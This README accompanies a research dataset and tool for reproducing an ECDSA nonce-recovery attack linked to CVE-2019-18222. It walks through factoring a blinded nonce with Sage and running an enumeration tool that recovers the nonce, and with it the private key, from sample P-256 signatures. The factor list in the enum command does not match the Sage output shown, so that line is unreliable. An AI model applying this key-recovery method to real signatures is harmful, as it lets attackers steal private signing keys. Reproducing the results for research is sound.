CVE-2019-18222: research data and tooling

<p>This dataset and software tool are for reproducing the research results related to CVE-2019-18222.</p> <p>Description</p> <ul> <li><code>enum</code> contains the key enumeration tool.</li> <li><code>kt_candidates</code> contains the JSON for blinded nonce candidates, indexed by trial number. JSON fields:</li> </ul> <ol> <li><code>kt_candidates</code>: list of nonce candidates.</li> </ol> <ul> <li><code>sig_data</code> contains the JSON for ECDSA signatures, index by trial number. JSON fields:</li> </ul> <ol> <li><code>p</code>: the prime the curve is defined over. (P-256 here.)</li> <li><code>Gx</code>, <code>Gy</code>: Generator coordinates.</li> <li><code>d</code>: Ground truth ECDSA long term key.</li> <li><code>Px</code>, <code>Py</code>: Public key coordinates.</li> <li><code>h</code>: SHA-256 digest to sign, encoded to the finite field.</li> <li><code>k</code>: Ground truth ECDSA nonce.</li> <li><code>r</code>, <code>s</code>: ECDSA signature.</li> </ol> <p>Build</p> <pre><code>cd enum make clean make</code></pre> <p>Run</p> <p>Start with <code>enum</code> as the working directory.</p> <pre><code>cd enum</code></pre> <p>Pull out a <code>kt</code> candidate, in this example index 847.</p> <pre><code>$ jq '.kt_candidates' ../kt_candidates/kt_candidates_847.json [ "0x48ad7217d10f6c7b1a3db836d38aa3972999115f38a6b3d176fc660941aa5c882d2528ec1fc27da7610e7ee3d7dd84367c380259e0386224c2c46aa2a5eb2a0" ]</code></pre> <p>Factor that candidate.</p> <pre><code>$ time sage -c "print ecm.factor(0x48ad7217d10f6c7b1a3db836d38aa3972999115f38a6b3d176fc660941aa5c882d2528ec1fc27da7610e7ee3d7dd84367c380259e0386224c2c46aa2a5eb2a0)" [2, 2, 2, 2, 2, 3, 353, 193243, 1540830719, 9263081209, 103633959617085683, 151389566295160172521, 283135469779419532841, 572987990320782777757565685333349772719941819448953457732874126833] real 0m5.837s user 0m5.648s sys 0m0.214s</code></pre> <p>Now pull out the <code>r</code> component of the ECDSA signature for that index, and convert it from hex to base 10.</p> <pre><code>$ jq '.r' ../sig_data/sig_data_847.json "0x30e2ce20a8140177a31a66763d85f431acc9790dd050ffc22ed5d454cdfbbb67" $ python -c "print 0x30e2ce20a8140177a31a66763d85f431acc9790dd050ffc22ed5d454cdfbbb67" 22111746808803128586382711090186612204136854333384650261207856620766542674791</code></pre> <p>Now run the <code>enum</code> tool to recover the nonce.</p> <pre><code>$ ./enum Usage: ./enum &lt;jobs_num&gt; &lt;jobs_id&gt; &lt;target_base_10&gt; space delimited flat list of factors in base ten</code></pre> <p>The <code>&lt;jobs_num&gt;</code> and <code>&lt;jobs_id&gt;</code> arguments are to ease parallel execution; read the source code. But for a single core, pass them as <code>1 0</code>.</p> <pre><code>$ ./enum 1 0 22111746808803128586382711090186612204136854333384650261207856620766542674791 2 2 2 2 2 3 353 193243 1540830719 9263081209 103633959617085683 151389566295160172521 2831354697794195 32841 572987990320782777757565685333349772719941819448953457732874126833 INFO:target:30E2CE20A8140177A31A66763D85F431ACC9790DD050FFC22ED5D454CDFBBB67 INFO:found:31A52C4960857E6D2F7AD82BAC7D55CE6CC9AD13B959F069002B6A949EA6A048 INFO:tests:7879</code></pre> <p>where <code>221..791</code> is the base-10 <code>r</code> component of the ECDSA signature, and <code>2 2 .. 572..833</code> is the full list of blinded nonce factors. In the output:</p> <ul> <li><code>INFO:target:&lt;hex&gt;</code> is the hex form of base-10 target input (ECDSA <code>r</code> component).</li> <li><code>INFO:found:&lt;hex&gt;</code> is the hex form of the recovered ECDSA nonce.</li> <li><code>INFO:tests:&lt;num&gt;</code> is the number of tested nonce candidates (scalar multiplications).</li> </ul> <p>We can see this successfully recovered the nonce (hence long term ECDSA private key) correctly:</p> <pre><code>$ jq '.k' ../sig_data/sig_data_847.json "0x31a52c4960857e6d2f7ad82bac7d55ce6cc9ad13b959f069002b6a949ea6a048"</code></pre>